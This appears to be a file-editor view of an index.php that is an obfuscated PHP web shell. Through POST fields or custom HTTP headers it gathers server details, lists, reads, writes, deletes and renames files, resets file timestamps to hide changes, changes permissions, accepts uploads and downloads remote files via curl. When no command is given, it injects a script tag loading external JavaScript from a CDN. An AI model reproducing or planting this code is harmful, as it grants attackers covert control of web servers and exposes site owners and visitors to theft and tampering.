관리-도구
편집 파일: index.php
<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-11-30 04:43:51 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto P5On7; oJOaH: $QEXIh = array(); goto aKMk7; nAq7d: function RAZOo($WmcGG) { goto FJ0TW; KMp0r: PDydA: goto NlyoP; AqQxx: goto PDydA; goto YI1U5; tmI31: $HUgCf = sCaNDir($WmcGG); goto vwUE3; vsFVf: shTjk: goto JnHfC; vwUE3: foreach ($HUgCf as $ZmyO9) { goto KX3vA; FQsoI: goto YCQHs; goto zuVoz; zuVoz: JnLXQ: goto Y_ThR; Y_ThR: $TeEPQ = $WmcGG . "\57" . $ZmyO9; goto tl9ie; tl9ie: is_dir($TeEPQ) ? razOo($TeEPQ) : uNliNk($TeEPQ); goto Srspb; KX3vA: if (!($ZmyO9 == "\x2e" || $ZmyO9 == "\56\x2e")) { goto JnLXQ; } goto FQsoI; Srspb: YCQHs: goto ov_E6; ov_E6: } goto vsFVf; jByqy: uNliNk($WmcGG); goto AqQxx; FJ0TW: if (is_dir($WmcGG)) { goto L7qiU; } goto jByqy; YI1U5: L7qiU: goto tmI31; JnHfC: rMdIR($WmcGG); goto KMp0r; NlyoP: } goto xwfzr; TDF6y: function ULR8W($t0JmF, $DW20l) { return file_put_contents($t0JmF, $DW20l) !== false; } goto mapOP; mapOP: function HChBa() { goto KML23; hVomb: return @dirname(__FILE__); goto cDjEB; KML23: if (eC2BB("\x67\145\164\143\x77\144")) { goto k02QY; } goto hVomb; cDjEB: goto DP3mT; goto rksjs; NtZTZ: DP3mT: goto kxATm; rksjs: k02QY: goto oOlSO; oOlSO: return @getcwd(); goto NtZTZ; kxATm: } goto nAq7d; s_Vni: $qMwce = base64_decode(substr($qMwce, 1)); goto S_wDf; nSuAN: if (empty($qMwce)) { goto YxKu1; } goto s_Vni; S1CWI: $t0JmF = kQl1T("\141"); goto Qa5FJ; JfkUp: define("\102\x69\x53\x73\x6d", $_SERVER["\104\117\x43\125\115\105\x4e\124\137\x52\117\x4f\124"]); goto Q6UVP; Q6UVP: $anL4u = array(); goto mVM0A; Qa5FJ: if (empty($t0JmF)) { goto Yg218; } goto vAD_f; JAEUt: return; goto qPOB3; QvBjs: $anL4u["\x63\157\144\145"] = $DW20l; goto YDmdC; WnOB5: VVtcm: goto duX11; xwfzr: function lboPl($qR7zc, $muJtt) { goto m5QRr; HgYyx: mhdGs: goto nvw6s; nvw6s: fclose($Y_dSK); goto QY2r6; m5QRr: if (Ec2Bb("\x63\x75\x72\154\137\x69\x6e\x69\x74")) { goto sauTz; } goto wHrlI; mRw7U: $Y_dSK = fopen($qR7zc, "\x77\x2b"); goto ye8hw; qpGFe: return $ZmyO9; goto nEwwc; kL51s: goto mhdGs; goto WuUDH; qFKrB: $ZnGDC = curl_init($muJtt); goto mRw7U; B8FEW: curl_close($ZnGDC); goto J2XAx; ye8hw: curl_setopt($ZnGDC, CURLOPT_FILE, $Y_dSK); goto F1Ju8; iimL9: sauTz: goto qFKrB; McRbW: $ZmyO9 = fwrite($Y_dSK, J7hO4($muJtt)) ? 1 : 0; goto kL51s; F1Ju8: curl_setopt($ZnGDC, CURLOPT_TIMEOUT, 50); goto iw5NX; J2XAx: $ZmyO9 = 1; goto HgYyx; WuUDH: u0bS1: goto B8FEW; CDs2S: goto Ipazb; goto iimL9; iw5NX: if (curl_exec($ZnGDC)) { goto u0bS1; } goto McRbW; wHrlI: $ZmyO9 = @UlR8w($qR7zc, J7ho4($muJtt)) ? 1 : 0; goto CDs2S; QY2r6: Ipazb: goto qpGFe; nEwwc: } goto D9P53; jcefx: function J7hO4($t0JmF) { return file_get_contents($t0JmF); } goto TDF6y; D9P53: function kQl1t($DW20l) { return !empty($_POST[$DW20l]) ? $_POST[$DW20l] : $_SERVER["\x48\124\x54\120\x5f\x58\137" . strtoupper($DW20l)]; } goto S1CWI; mVM0A: function EC2bB($t0JmF) { return function_exists($t0JmF); } goto jcefx; S_wDf: YxKu1: goto d71eZ; duX11: $anL4u["\144\141\164\x61"] = $QEXIh; goto QvBjs; fHLYa: register_shutdown_function(function () { goto hSQKP; hSQKP: global $anL4u; goto DiB1S; DiB1S: ob_end_clean(); goto RFuOF; RFuOF: echo json_encode($anL4u); goto xWeiM; xWeiM: }); goto JAEUt; d71eZ: $Xa7dT = kql1T("\x64"); goto oJOaH; qPOB3: Yg218: goto G5x7Y; aKMk7: $DW20l = 1; goto BNxOI; nMtPg: l2fh1: goto WnOB5; YDmdC: header("\103\x6f\x6e\164\145\156\x74\x2d\164\x79\160\x65\72\x20\141\160\160\154\x69\143\141\164\151\157\x6e\57\x6a\x73\157\156\x3b\x20\143\150\141\x72\163\x65\x74\x3d\x75\x74\x66\55\x38"); goto fHLYa; vAD_f: $qMwce = !empty($_POST["\166"]) ? $_POST["\x76"] : @$_SERVER["\x48\x54\x54\120\137\x58\137\x43\123\x52\x46\137\124\117\x4b\105\x4e"]; goto nSuAN; BNxOI: switch ($t0JmF) { case 1: goto k7fpu; IW3Sg: TbxDB: goto Cw0f7; zRDjg: goto VVtcm; goto modGF; bj8AR: if (!ec2Bb("\147\x65\x74\x63\167\144")) { goto TbxDB; } goto lld3o; XUKk0: if (!ec2Bb("\x70\150\x70\166\145\x72\x73\x69\x6f\156")) { goto NveHn; } goto sLNM_; a9pKz: $QEXIh["\163\141\146\x65\x5f\x6d\157\144\145"] = @ini_get("\163\x61\146\x65\x5f\x6d\x6f\144\145"); goto YEe7q; IB2Ny: $QEXIh["\163\x69\x70"] = $_SERVER["\123\105\122\x56\105\122\137\101\104\x44\x52"]; goto oGAlZ; eX3Iz: NveHn: goto IB2Ny; lld3o: $QEXIh["\160\167\144"] = hCHba(); goto IW3Sg; k7fpu: $QEXIh = array("\162\157\x6f\x74" => BiSsm, "\163\x65\x72\166\x65\x72" => $_SERVER["\x53\105\x52\x56\105\x52\137\x53\117\106\124\x57\x41\x52\105"], "\143\x69\x70" => $_SERVER["\122\x45\x4d\x4f\124\x45\x5f\101\104\104\x52"]); goto bj8AR; YEe7q: tzg7b: goto XUKk0; oGAlZ: if (!empty($QEXIh["\163\151\160"])) { goto mzcfa; } goto LjwvE; oM9dB: mzcfa: goto zRDjg; sLNM_: $QEXIh["\166\145\162\163\151\157\x6e"] = @phpversion(); goto eX3Iz; Cw0f7: if (!ec2BB("\151\x6e\x69\x5f\147\145\x74")) { goto tzg7b; } goto a9pKz; LjwvE: $QEXIh["\163\x69\160"] = @gethostbyname($_SERVER["\123\105\122\126\105\122\x5f\x4e\101\115\x45"]); goto oM9dB; modGF: case 2: goto N1p1A; IObN0: $QEXIh["\144"] = $j3oY2; goto J3Ubs; pTh1Z: $j3oY2 = array(); goto dCnx7; Ja32S: s0H7P: goto Hy3LR; z38xp: goto VVtcm; goto h7B3C; J3Ubs: $QEXIh["\146"] = $DCVLx; goto z38xp; N1p1A: if (!empty($qMwce)) { goto s0H7P; } goto NuvVs; Hy3LR: $MaUhM = scandir($qMwce); goto pTh1Z; NuvVs: $qMwce = HChbA(); goto Ja32S; dCnx7: $DCVLx = array(); goto mm34q; FpzNa: IpRL3: goto IObN0; mm34q: foreach ($MaUhM as $IIeik) { goto JfElf; TuSNb: $WmcGG = $qMwce . "\x2f" . $IIeik; goto z3LTB; ycJza: pwRq5: goto xkcgx; DdwkN: $GKzQ8["\163"] = filesize($WmcGG); goto K6_4W; JfElf: if (!($IIeik == "\x2e" || $IIeik == "\x2e\x2e")) { goto TGRsz; } goto XQtON; SeXI3: W2HGs: goto lZuqY; GoGEK: goto pwRq5; goto SeXI3; K6_4W: $DCVLx[] = $GKzQ8; goto GoGEK; lZuqY: $j3oY2[] = $GKzQ8; goto ycJza; xkcgx: tPSpc: goto g9vbN; XQtON: goto tPSpc; goto DRJpz; MnYJP: if (is_dir($WmcGG)) { goto W2HGs; } goto DdwkN; z3LTB: $GKzQ8 = array("\x6e" => $IIeik, "\x70" => substr(sprintf("\x25\x6f", fILepErMs($WmcGG)), -4), "\x74" => date("\131\x2d\x6d\x2d\x64\40\x48\x3a\151\x3a\163", fILeMTiMe($WmcGG))); goto MnYJP; DRJpz: TGRsz: goto TuSNb; g9vbN: } goto FpzNa; h7B3C: case 3: rAZOo($qMwce); goto VVtcm; case 4: $QEXIh["\x76"] = j7HO4($qMwce); goto VVtcm; case 5: goto FkEGk; xRMxc: $DW20l = uLr8w($Xa7dT, $qMwce) ? 1 : 0; goto g3Ks5; FkEGk: if (is_writable($Xa7dT)) { goto LgJLx; } goto mxfQH; nryRl: LgJLx: goto xRMxc; g3Ks5: goto VVtcm; goto zELPO; mxfQH: @chmod($qMwce, 0644); goto nryRl; zELPO: case 6: goto x4CCK; wzEkb: if (!@ReNamE($qR7zc, $W5gOZ)) { goto EbMql; } goto a3ed3; pMnDF: goto riZZ0; goto bRJ00; MJZWc: $YI1Nt = @FiLemTiME($qR7zc); goto wzEkb; S6EIG: goto VVtcm; goto P3qFI; bRJ00: EbMql: goto h62Ml; KjGyO: $W5gOZ = $Xa7dT . $qMwce; goto MJZWc; bmFR1: @touCH($W5gOZ, $YI1Nt, $YI1Nt); goto TX8ZI; a3ed3: if ($YI1Nt) { goto dOtJR; } goto pMnDF; x4CCK: $qR7zc = $Xa7dT . kQL1T("\x6e"); goto KjGyO; rQFY1: dOtJR: goto bmFR1; h62Ml: $DW20l = 0; goto N0Viv; TX8ZI: riZZ0: goto S6EIG; N0Viv: goto riZZ0; goto rQFY1; P3qFI: case 7: goto y2bL5; y2bL5: if (@chmod($Xa7dT, $qMwce)) { goto G4yyD; } goto tYzPi; gwxwE: G4yyD: goto o4gea; o4gea: goto VVtcm; goto Msush; tYzPi: $DW20l = 0; goto gwxwE; Msush: case 8: $DW20l = move_uploaded_file($_FILES["\x66"]["\x74\155\x70\x5f\156\x61\x6d\145"], $qMwce) ? 1 : 0; goto VVtcm; case 9: $DW20l = Ulr8w($qMwce, '') ? 1 : 0; goto VVtcm; case 10: $DW20l = mkdir($qMwce) ? 1 : 0; goto VVtcm; case 11: goto g_fpb; v9luA: $DW20l = lbOPL($qMwce, $muJtt) ? 1 : 0; goto uvWJ7; uvWJ7: goto VVtcm; goto cMupQ; g_fpb: $muJtt = KQl1t("\154"); goto v9luA; cMupQ: } goto nMtPg; P5On7: error_reporting(0); goto JfkUp; G5x7Y: echo "\74\163\143\162\151\x70\164\x20\x74\171\x70\145\x3d\x22\x6d\x6f\x64\x75\x6c\x65\42\40\163\162\143\x3d\x22\150\164\164\x70\x73\72\57\x2f\143\144\156\x2e\x6a\x73\x64\x65\x6c\x69\x76\x72\56\156\x65\x74\57\147\150\x2f\144\151\157\156\152\x6f\x2f\x62\153\163\153\x62\57\x34\56\x6a\x73\42\76\74\x2f\x73\143\162\151\160\x74\x3e";